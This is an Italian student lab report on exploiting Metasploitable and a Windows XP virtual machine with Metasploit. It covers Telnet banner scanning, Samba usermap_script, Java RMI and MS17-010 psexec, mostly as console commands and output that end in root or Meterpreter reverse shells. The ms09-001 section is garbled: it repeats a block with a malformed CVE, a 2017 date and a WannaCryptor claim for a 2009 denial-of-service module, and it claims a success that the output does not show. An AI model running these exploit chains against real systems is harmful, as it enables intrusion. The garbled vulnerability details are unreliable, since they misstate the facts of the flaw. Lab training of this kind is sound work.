

Exploit Telnet con Metasploit

Traccia:

Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito:

Configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40. Mettere tutto su un report, spiegare cosa si intende per exploit, cos'è il protocollo attaccato, i vari step.

Configurazione indirizzi di rete:

Assegno a Metasploitable l'indirizzo di rete 192.168.1.40/24

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.40
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

Assegno a Kali l'indirizzo di rete 192.168.1.25/24

```
GNU nano 7.2          /etc/network/interfaces *
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.25/24
gateway 192.168.1.1
```

Dopo aver verificato che le macchine comunichino correttamente procedo con lo svolgimento dell'esercizio.

Con il comando **nmap -sV 192.168.1.40** scansono le porte aperte sulla macchina target e tento di identificare la versione dei servizi in esecuzione.

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql?
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix , Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.18 seconds
```

Per effettuare una scansione mirata alla ricerca di vulnerabilità nel servizio telnet (porta 23) sulla macchina Metasploitable ed avere un quadro più completo eseguo il comando **nmap --script=vuln 192.168.1.40 -p 23 -A**

```
(kali㉿kali)-[~]
$ nmap --script=vuln 192.168.1.40 -p 23 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-16 11:24 CET
Nmap scan report for 192.168.1.40
Host is up (0.0012s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet       Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.42 seconds
```

Avvio la console di Metasploit eseguendo il comando **msfconsole**

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session


https://metasploit.com
```

Restando sulla console di Metasploit lancio il comando ***search telnet_version*** per controllare se esiste un auxilary per il servizio telnet da utilizzare

```
msf6 > search telnet_version
[...]
Matching Modules
=====
# Name                                Disclosure Date   Rank    Check  Description
- ----                                -----          ---      ---  -----
0 auxiliary/scanner/telnet/lantronix_telnet_version          normal  No     Lantronix Telnet Service Banner Detection
1 auxiliary/scanner/telnet/telnet_version                     normal  No     Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version
```

Scelgo ed eseguo il comando ***use 1*** (dove 1 sta ad indicare il numero corrispondente dell'auxiliary prescelto). A seguire, per verificare quali parametri siano ancora da configurare eseguo il comando ***show options***: tra i richiesti noto RPORT (già configurato sulla porta 23) e RHOSTS (ancora da configurare).

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name   Current Setting  Required  Description
----  ==============  ======  =
PASSWORD          no        The password for the specified username
RHOSTS           yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT            23       yes        The target port (TCP)
THREADS          1         yes        The number of concurrent threads (max one per host)
TIMEOUT          30       yes        Timeout for the Telnet probe
USERNAME         no        The username to authenticate as

View the full module info with the info, or info -d command.
```

Configuro il parametro RHOSTS con l'IP di Metasploitable eseguendo il comando **set RHOST 192.168.1.40**. Ripeto a seguire il comando **show options** per verificare che anche RHOSTS risulti correttamente configurato con l'IP della macchina vittima.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
Name   Current Setting  Required  Description
-----+-----+-----+
PASSWORD          no        The password for the specified username
RHOSTS            192.168.1.40 yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT             23       yes      The target port (TCP)
THREADS           1        yes      The number of concurrent threads (max one per host)
TIMEOUT           30       yes      Timeout for the Telnet probe
USERNAME          no        The username to authenticate as
```

Non dovendo configurare altro posso procedere con l'exploit eseguendo il comando exploit. Notiamo che riusciamo ad avere accesso a delle credenziali utilizzabili per accedere al servizio Telnet.

Exploit di smb con il modulo usermap_script

Avvio la console di Metasploit eseguendo il comando `msfconsole`

Restando sulla console di Metasploit lancio il comando **search samba** per controllare se esiste un exploit per il servizio da utilizzare

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/citrix_access_gateway_exec	2010-12-21	excellent	Yes	Citrix Access Gateway Command Execution
1	exploit/windows/license/caliclnet_getconfig	2005-03-02	average	No	Computer Associates License Client GETCONFIG Overflow
2	exploit/windows/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Command Execution
3	exploit/windows/smb/group_policy_startup	2015-01-26	manual	No	Group Policy Script Execution From Shared Resource
4	post/linux/gather/enum_configs		normal	No	Linux Gather Configurations
5	auxiliary/scanner/rsync/modules_list		normal	No	List Rsync Modules
6	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Microsoft Windows OLE Package Manager Code Execution
7	exploit/unix/http/quest_kace_systems_management_rc	2018-05-31	excellent	Yes	Quest KACE Systems Management Command Injection
8	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba 'username map script' Command Execution
9	exploit/multi/samba/ntrans	2003-04-07	average	No	Samba 2.2.2 - 2.2.6 ntrans Buffer Overflow
10	exploit/linux/samba/setinfopolicy_heap	2012-04-10	normal	Yes	Samba SetInformationPolicy AuditEventsInfo Heap Overflow
11	auxiliary/admin/smb/samba_symlink traversal		normal	No	Samba Symlink Directory Traversal

Scelgo il secondo ed eseguo il comando **use 8** (dove 8 sta ad indicare il numero corrispondente dell'exploit prescelto). A seguire, per verificare quali parametri siano ancora da configurare eseguo il comando **show options**: tra i richiesti noto RHOSTS (ancora da configurare).

msf6 exploit(multi/samba/usermap_script) > show options			
Module options (exploit/multi/samba/usermap_script):			
Name	Current Setting	Required	Description
CHOST	no		The local client address
CPORT	no		The local client port
Proxies	no		A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	yes		The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	139	yes	The target port (TCP)
Payload options (cmd/unix/reverse_netcat):			
Name	Current Setting	Required	Description
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port
Exploit target:			
Id	Name		
0	Automatic		

Configuro il parametro RHOSTS con l'IP di Metasploitable eseguendo il comando **set RHOST 192.168.1.40**. Ripeto a seguire il comando **show options** per verificare che anche RHOSTS risulti correttamente configurato con l'IP della macchina vittima.

```
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
```

È il momento di controllare quali sono i payloads disponibili eseguendo il comando **show payloads**. Scelgo ed eseguo il comando **set payload payload/cmd/unix/reverse** e ripeto a seguire il comando **show options** per verificare se vi sono o meno parametri da configurare.

msf6 exploit(multi/samba/usermap_script) > show payloads					
Compatible Payloads					
#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/adduser		normal	No	Add user with useradd
1	payload/cmd/unix/bind_awk		normal	No	Unix Command Shell, Bind TCP (via AWK)
2	payload/cmd/unix/bind_busybox_telnetd		normal	No	Unix Command Shell, Bind TCP (via BusyBox telnetd)
3	payload/cmd/unix/bind_inetd		normal	No	Unix Command Shell, Bind TCP (inetd)
4	payload/cmd/unix/bind_jjss		normal	No	Unix Command Shell, Bind TCP (via JSS)
5	payload/cmd/unix/bind_lua		normal	No	Unix Command Shell, Bind TCP (via Lua)
6	payload/cmd/unix/bind_netcat		normal	No	Unix Command Shell, Bind TCP (via netcat)
7	payload/cmd/unix/bind_netcat_gaping		normal	No	Unix Command Shell, Bind TCP (via netcat -e)
8	payload/cmd/unix/bind_netcat_gaping_ipv6		normal	No	Unix Command Shell, Bind TCP (via netcat -e) IPv6
9	payload/cmd/unix/bind_perl		normal	No	Unix Command Shell, Bind TCP (via Perl)
10	payload/cmd/unix/bind_perl_ipv6		normal	No	Unix Command Shell, Bind TCP (via perl) IPv6
11	payload/cmd/unix/bind_r		normal	No	Unix Command Shell, Bind TCP (via R)
12	payload/cmd/unix/bind_ruby		normal	No	Unix Command Shell, Bind TCP (via Ruby)
13	payload/cmd/unix/bind_ruby_ipv6		normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6
14	payload/cmd/unix/bind_socat_scpt		normal	No	Unix Command Shell, Bind SCTP (via socat)
15	payload/cmd/unix/bind_socat_udp		normal	No	Unix Command Shell, Bind UDP (via socat)
16	payload/cmd/unix/bind_zsh		normal	No	Unix Command Shell, Bind TCP (via ZSH)
17	payload/cmd/unix/generic		normal	No	Unix Command, Generic Command Execution
18	payload/cmd/unix/pingback_bind		normal	No	Unix Command Shell, Pingback Bind TCP (via netcat)
19	payload/cmd/unix/pingback_reverse		normal	No	Unix Command Shell, Pingback Reverse TCP (via netcat)
20	payload/cmd/unix/reverse		normal	No	Unix Command Shell, Double Reverse TCP (telnet)
21	payload/cmd/unix/reverse_awk		normal	No	Unix Command Shell, Reverse TCP (via AWK)

```
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name  Current Setting  Required  Description
----  -----  -----  -----
CHOST  no            The local client address
CPORT  no            The local client port
Proxies no            A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.40  yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit
RPORT  139           yes          The target port (TCP)

Payload options (cmd/unix/reverse):
Name  Current Setting  Required  Description
----  -----  -----  -----
LHOST  192.168.1.25  yes          The listen address (an interface may be specified)
LPORT  445           yes          The listen port

Exploit target:
Id  Name
--  --
0  Automatic
```

Dopo aver configurato i parametri RHOSTS e LHOST posso procedere con il comando **exploit**. Lanciando a seguire i comandi **ifconfig** e **whoami** verifico il successo dell'exploit.

```
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP double handler on 192.168.1.25:445
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo q0M6AEhiiecD0eZRR;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: 'q0M6AEhiiecD0eZRR\r\n'
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.25:445 -> 192.168.1.40:48797) at 2024-01-16 13:22:09 +0100

ifconfig
eth0  Link encap:Ethernet HWaddr 08:00:27:ef:91:ce
      inet addr:192.168.1.40 Brcast:192.168.1.255 Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fe91:91ce/64 Scope:Link
        UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
        RX packets:856 errors:0 dropped:0 overruns:0 frame:0
        TX packets:670 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:99168 (96.8 KB) TX bytes:93151 (90.9 KB)
        Base address:0x0020 Memory:f0200000-f0220000

lo  Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
        UP LOOPBACK RUNNING MTU:16436 Metric:1
        RX packets:243 errors:0 dropped:0 overruns:0 frame:0
        TX packets:243 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:87103 (85.0 KB) TX bytes:87103 (85.0 KB)

whoami
root
|
```

Exploit Java-RMI code execution

Avvio la console di Metasploit eseguendo il comando msfconsole. Restando sulla console di Metasploit lancio il comando search **java_rmi** per controllare se esiste un exploit per il servizio da utilizzare.

```
[kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb
=====
I I I I I  _GhB_dTb
I I I I I  'V_ v 'B
I I I I I  6_ .P
I I I I I  'T_ ;P'
I I I I I  'T_ ;P'
I I I I I  'V_P'
I love shells --egypt

      =[ metasploit v6.3.50-dev
+ --=[ 2384 exploits - 1235 auxiliary - 417 post
+ --=[ 1391 payloads - 44 encoders - 11 nops
+ --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search java_rmi
Matching Modules
=====
#  Name                               Disclosure Date  Rank    Check  Description
-----  -----  -----  -----  -----
0  auxiliary/gather/java_rmi_registry  normal        No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_Server  2011-10-15   excellent Yes   Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server 2011-10-15   normal        No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl  2010-03-31   excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

Scelgo il secondo ed eseguo il comando **use 1** (dove 1 sta ad indicare il numero corrispondente dell'exploit prescelto). A seguire, per verificare quali parametri siano ancora da configurare eseguo il comando **show options**: tra i richiesti noto RHOSTS (ancora da configurare).

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
----      -----          -----      -----
HTTPDELAY  10             yes        Time that the HTTP Server will wait for the payload request
RHOSTS    yes              yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes        The target port (TCP)
SRVHOST   0.0.0.0          yes        The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8888            yes        The local port to listen on.
SSL       false            no         Negotiate SSL for incoming connections
SSLCert   no               Path to a custom SSL certificate (default is randomly generated)
URI PATH  no               no         The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      -----          -----      -----
LHOST    192.168.1.25      yes        The listen address (an interface may be specified)
LPORT    4444            yes        The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)

"the quieter you become, the more you are able to hear"
```

Configuro il parametro RHOSTS con l'IP di Metasploitable eseguendo il comando **set RHOST 192.168.1.40**. Ripeto a seguire il comando **show options** per verificare che anche RHOSTS risulti correttamente configurato con l'IP della macchina vittima.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40

msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
----      -----          -----      -----
HTTPDELAY  10             yes        Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.1.40      yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes        The target port (TCP)
SRVHOST   0.0.0.0          yes        The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8888            yes        The local port to listen on.
SSL       false            no         Negotiate SSL for incoming connections
SSLCert   no               Path to a custom SSL certificate (default is randomly generated)
URI PATH  no               no         The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      -----          -----      -----
LHOST    192.168.1.25      yes        The listen address (an interface may be specified)
LPORT    4444            yes        The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)

"the quieter you become, the more you are able to hear"
```

Posso procedere con il comando **exploit**. Lanciando a seguire il comando **ifconfig** verifico il successo dell'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:1099 - Using URL: http://192.168.1.25:8888/Q1w6SHcvOffe1
[*] 192.168.1.40:1099 - Server started.
[*] 192.168.1.40:1099 - Sending RMI Header...
[*] 192.168.1.40:1099 - Sending RMI Call...
[*] 192.168.1.40:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.40:44683) at 2024-01-16 14:34:52 +0100

meterpreter > ifconfig
Interface 1
=====
Name: lo
Hardware MAC: 00:00:00:00:00:00
IPv4 Address: 127.0.0.1
IPv6 Netmask: ::ffff:ffff:ffff:ffff::1
IPv6 Address: ::1
IPv6 Netmask: ::

Interface 2
=====
Name: eth0
Hardware MAC: 00:00:00:00:00:00
IPv4 Address: 192.168.1.40
IPv6 Netmask: 255.255.255.0
IPv6 Address: fe80::a00:27ff:feef:91ce
IPv6 Netmask: ::

meterpreter >
```

SMB remote code execution

Dopo aver verificato che le macchine Kali e Windows XP SP3 comunicano avvio la console di Metasploit eseguendo il comando **msfconsole**. A seguire lancio il comando **search ms09-001** per controllare se esiste un auxiliary per il servizio da utilizzare.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it
with set RHOSTS x.x.x.x

      dTb.dTb
 II   4' v 'B
 II   6.  .P
 II   'T; .;P'
 II   'T; ;P'
IIIII  'YvP'

I love shells --egypt

      =[ metasploit v6.3.50-dev
+ -- --=[ 2384 exploits - 1235 auxiliary - 417 post
+ -- --=[ 1391 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search ms09-001

Matching Modules
=====
#  Name
-  ----
  0  auxiliary/dos/windows/smb/ms09_001_write

      Disclosure Date Rank Check Description
      -----  ---  ---  -----
  0  auxiliary/dos/windows/smb/ms09_001_write          normal  No   Microsoft SRV.SYS WriteAndX Invalid DataOffset

      Remote Code Execution
      State: VULNERABLE
      IDs: CVE:CVE-2017-017
      Risk factor: HIGH
      A critical remote code execution vulnerability exists in Microsoft Windows Server 2003 SP1 and SP2, Vista Gold, and Windows 7 Home Premium and Professional editions. This allows an attacker to execute arbitrary code via a specially crafted SMB packet. This exploit targets the Microsoft SRV.SYS WriteAndX function. This exploit was used in the WannaCryptor attacks.

      Disclosure date: 2017-05-14
      References:
      https://blogs.technet.microsoft.com/wanacryptor/2017/05/14/the-wannacryptor-attacks/
      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-017
      https://technet.microsoft.com/en-us/library/mt693740.aspx
      sm09-001-write

      VULNERABLE:
      Microsoft Windows Server 2003 SP1 and SP2, Vista Gold, and Windows 7 Home Premium and Professional editions allow an attacker to execute arbitrary code via a specially crafted SMB packet. This exploit targets the Microsoft SRV.SYS WriteAndX function. This exploit was used in the WannaCryptor attacks.

      Disclosure date: 2017-05-14
      References:
      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-017
      https://technet.microsoft.com/en-us/library/mt693740.aspx
      sm09-001-write
```

Scelgo l'unico presente ed eseguo il comando **use 0** (dove 0 sta ad indicare il numero corrispondente auxiliary prescelto). A seguire, per verificare quali parametri siano ancora da configurare eseguo il comando **show options**: tra i richiesti noto RHOSTS (ancora da configurare).

```
msf6 > use 0
msf6 auxiliary(dos/windows/smb/ms09_001_write) > show options

Module options (auxiliary/dos/windows/smb/ms09_001_write):
=====
Name  Current Setting  Required  Description
----  -----  -----  -----
RHOSTS  yes            The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT  445             yes        The SMB service port (TCP)

      Remote Code Execution
      State: VULNERABLE
      IDs: CVE:CVE-2017-017
      Risk factor: HIGH
      A critical remote code execution vulnerability exists in Microsoft Windows Server 2003 SP1 and SP2, Vista Gold, and Windows 7 Home Premium and Professional editions. This allows an attacker to execute arbitrary code via a specially crafted SMB packet. This exploit targets the Microsoft SRV.SYS WriteAndX function. This exploit was used in the WannaCryptor attacks.

      Disclosure date: 2017-05-14
      References:
      https://blogs.technet.microsoft.com/wanacryptor/2017/05/14/the-wannacryptor-attacks/
      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-017
      https://technet.microsoft.com/en-us/library/mt693740.aspx
      sm09-001-write
```

Configuro il parametro RHOSTS con l'IP di Windows XP eseguendo il comando **set RHOST 192.168.1.200**. Ripeto a seguire il comando **show options** per verificare che anche RHOSTS risulti correttamente configurato con l'IP della macchina vittima.

```
msf6 auxiliary(dos/windows/smb/ms09_001_write) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf6 auxiliary(dos/windows/smb/ms09_001_write) > show options

Module options (auxiliary/dos/windows/smb/ms09_001_write):
=====
Name  Current Setting  Required  Description
----  -----  -----  -----
RHOSTS  192.168.1.200  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT  445             yes        The SMB service port (TCP)

      VULNERABLE:
      Microsoft Windows Server 2003 SP1 and SP2, Vista Gold, and Windows 7 Home Premium and Professional editions allow an attacker to execute arbitrary code via a specially crafted SMB packet. This exploit targets the Microsoft SRV.SYS WriteAndX function. This exploit was used in the WannaCryptor attacks.

      Disclosure date: 2017-05-14
      References:
      https://blogs.technet.microsoft.com/wanacryptor/2017/05/14/the-wannacryptor-attacks/
      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-017
      https://technet.microsoft.com/en-us/library/mt693740.aspx
      sm09-001-write
```

Posso procedere con il comando **exploit**. Lanciando a seguire il comando **ifconfig** verifico il successo dell'exploit.

```
msf6 auxiliary(dos/windows/smb/ms09_001_write) > exploit
[*] Running module against 192.168.1.200

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue

      Remote Code Execution
      State: VULNERABLE
      IDs: CVE:CVE-2017-017
      Risk factor: HIGH
      A critical remote code execution vulnerability exists in Microsoft Windows Server 2003 SP1 and SP2, Vista Gold, and Windows 7 Home Premium and Professional editions. This allows an attacker to execute arbitrary code via a specially crafted SMB packet. This exploit targets the Microsoft SRV.SYS WriteAndX function. This exploit was used in the WannaCryptor attacks.

      Disclosure date: 2017-05-14
      References:
      https://blogs.technet.microsoft.com/wanacryptor/2017/05/14/the-wannacryptor-attacks/
      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-017
      https://technet.microsoft.com/en-us/library/mt693740.aspx
      sm09-001-write
```

SMB code execution

Dopo aver verificato che le macchine Kali e Windows XP SP3 comunicano avvio la console di Metasploit eseguendo il comando **msfconsole**. A seguire lancio il comando **search ms17** per controllare se esiste un exploit per il servizio da utilizzare.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result
of hosts and services

# cowsay++
< metasploit >
-----
\ \_ (oo)_
 \_(_)_ \
 \|---| *

      =[ metasploit v6.3.50-dev
+ -- --=[ 2384 exploits - 1235 auxiliary - 417 post      ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops      ]
+ -- --=[ 9 evasion      ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search ms17
Matching Modules
=====
# Name          Disclosure Date Rank Check Description
----- 
0 exploit/windows/smb/ms17_010_eternalblue        2017-03-14   average Yes   MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec        2017-03-14   normal Yes   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command        2017-03-14   normal No    MS17-010 SMB RCE Detection
3 auxiliary/scanner/smb/ms17_010              2017-03-14   normal No    MS17-010 SMB RCE Detection
4 exploit/windows/fileformat/office.ms17_11882  2017-11-15   manual No   Microsoft Office CVE-2017-11882
5 auxiliary/admin/mssql/msql escalate_execute_as 2017-03-14   normal No    Microsoft SQL Server Escalate EXECUTE AS
6 auxiliary/admin/mssql/msql_escalate_execute_as_sqli 2017-03-14   normal No    Microsoft SQL Server SQLi Escalate EXECUTE AS
7 exploit/windows/smb/smb_doublepulsar_rce        2017-04-14   great Yes   SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 7, use ? or use exploit/windows/smb/smb_doublepulsar_rce
```

Scelgo il secondo ed eseguo il comando **use 1** (dove 1 sta ad indicare il numero corrispondente dell'exploit prescelto). A seguire, per verificare quali parametri siano ancora da configurare eseguo il comando **show options**: tra i richiesti noto RHOSTS (ancora da configurare).

```
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):
=====
Name          Current Setting      Required  Description
----          -----            -----      -----
DBGTRACE      false                yes       Show extra debug trace info
LEAKATTMPTS   99                  yes       How many times to try to leak transaction
NAMEDPIPE     namedpipe            no        A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES   /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
RHOSTS         .                  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445                 yes       The Target port (TCP)
SERVICE_DESCRIPTION SERVICE_DISPLAY_NAME SERVICE_NAME
SHARE          ADMIN$               yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain     .
SMBPass        .
SMBUser        .

Payload options (windows/meterpreter/reverse_tcp):
=====
Name          Current Setting      Required  Description
----          -----            -----      -----
EXITFUNC      thread             yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.1.25        yes       The listen address (an interface may be specified)
LPORT         4444                yes       The listen port

Exploit target:
=====
Id  Name
--  --
0  Automatic
```

Configuro il parametro RHOSTS con l'IP di Windows XP eseguendo il comando **set RHOST 192.168.1.200**. Ripeto a seguire il comando **show options** per verificare che anche RHOSTS risulti correttamente configurato con l'IP della macchina vittima.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):
=====
Name          Current Setting      Required  Description
----          -----            -----      -----
DBGTRACE      false                yes       Show extra debug trace info
LEAKATTMPTS   99                  yes       How many times to try to leak transaction
NAMEDPIPE     namedpipe            no        A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES   /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
RHOSTS         192.168.1.200        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445                 yes       The Target port (TCP)
SERVICE_DESCRIPTION SERVICE_DISPLAY_NAME SERVICE_NAME
```

Posso procedere con il comando ***exploit***. Lanciando a seguire il comando ***ifconfig*** verifico il successo dell'exploit.



```
mfsf exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.200:445 - Target OS: Windows 5.1
[*] 192.168.1.200:445 - Filling barrel with fish... done
[*] 192.168.1.200:445 - <----- | Entering Danger Zone | ----->
[*] 192.168.1.200:445 - [*] Preparing dynamite...
[*] 192.168.1.200:445 - [*] Trying stick 1 (x86)...Boom!
[*] 192.168.1.200:445 - [*] Successfully Leaked Transaction!
[*] 192.168.1.200:445 - [*] Successfully caught Fish-in-a-barrel
[*] 192.168.1.200:445 - <----- | Leaving Danger Zone | ----->
[*] 192.168.1.200:445 - Reading from CONNECTION struct at: 0x81e42c18
[*] 192.168.1.200:445 - Built a write-what-where primitive...
[*] 192.168.1.200:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.1.200:445 - Selecting native target
[*] 192.168.1.200:445 - Uploading payload... \BfFUFBzc.exe
[*] 192.168.1.200:445 - [*] Created '\BfFUFBzc.exe'...
[*] 192.168.1.200:445 - Session created successfully...
[*] 192.168.1.200:445 - Deleting '\BfFUFBzc.exe'.
[*] Sending stage (17586 bytes) to 192.168.1.200
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.200:1032) at 2024-01-16 15:41:14 +0100
meterpreter > ifconfig
Interface 1
=====
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0

Interface 2
=====
Name       : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilità di pianificazione pacchetti
